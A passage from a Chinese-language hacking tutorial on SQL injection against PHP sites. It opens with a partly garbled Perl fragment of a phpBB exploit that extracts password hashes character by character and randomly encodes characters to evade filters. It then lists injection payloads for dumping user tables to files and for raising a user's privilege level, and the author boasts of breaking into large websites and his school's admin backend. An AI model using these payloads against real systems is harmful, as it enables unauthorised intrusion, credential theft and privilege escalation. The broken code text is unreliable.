{ $str = shift; $ret = ""; for($i=0; $i { $c = substr($str,$i,1); $j = rand length($str) * 1000;
if (int($j) % 2 || $c eq ' ') { $ret .= "%" . sprintf("%x",ord($c)); } else { $ret .= $c; } } return $ret; } sub make_dbsql { if ($dBType eq 'mysql4') { return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ; } elsif ($dBType eq 'pgsql') { return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false"; } else { return ""; } } 这段代码,我就不多做解释了.作用是获得HASH值. 看到这里,大家可能有点疑问,为什么我前面讲的那些改的函数怎么没有用到,我讲出来不怕大家笑话:其实网上很多站点有些页面的查询语句看起来会是这样: display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc 不要笑,这是真的,我还靠这个进过几个大型网站.至于哪一些,不好讲出来,不过我们学校的网站,我就是靠这个进后台的,把前面那函数用上吧.不然你只有改人家的密码了哦!!!
差点忘了一点,在SQL注入的时候,PHP与ASP有所不同,mysql对sql语句的运用没有mssql灵活,因此,很多在mssql上可以用的查询语句在mysql中都不能奏效了. 一般我们常见的注入语句像这样:aaa.php?id=a' into outfile 'pass.txt或是aaa.php?id=a' into outfile 'pass.txt' /*再进一步可以改成:aaa.php?id=a' or 1=1 union select id,name,password form users into outfile 'c:/a.txt 这样可以将数据库数据导出为文件,然后可以查看. 或是这样:mode=',user_level='4 这个语句一般用在修改资料时,假设页面存在漏洞的话,就可以达到提升权限的做用. 其它的如' OR 1=1 -- 或者:1' or 1='1则跟asp差不多.这里不多讲了.在php里面,SQL注入看来还是漏洞之首啊,有太多的页面存在这个问题了.
其实大家可以看出来,上面那些分类归根结底只有一个原因:提交参数没过滤或是过滤不够严谨. (责任编辑:admin) |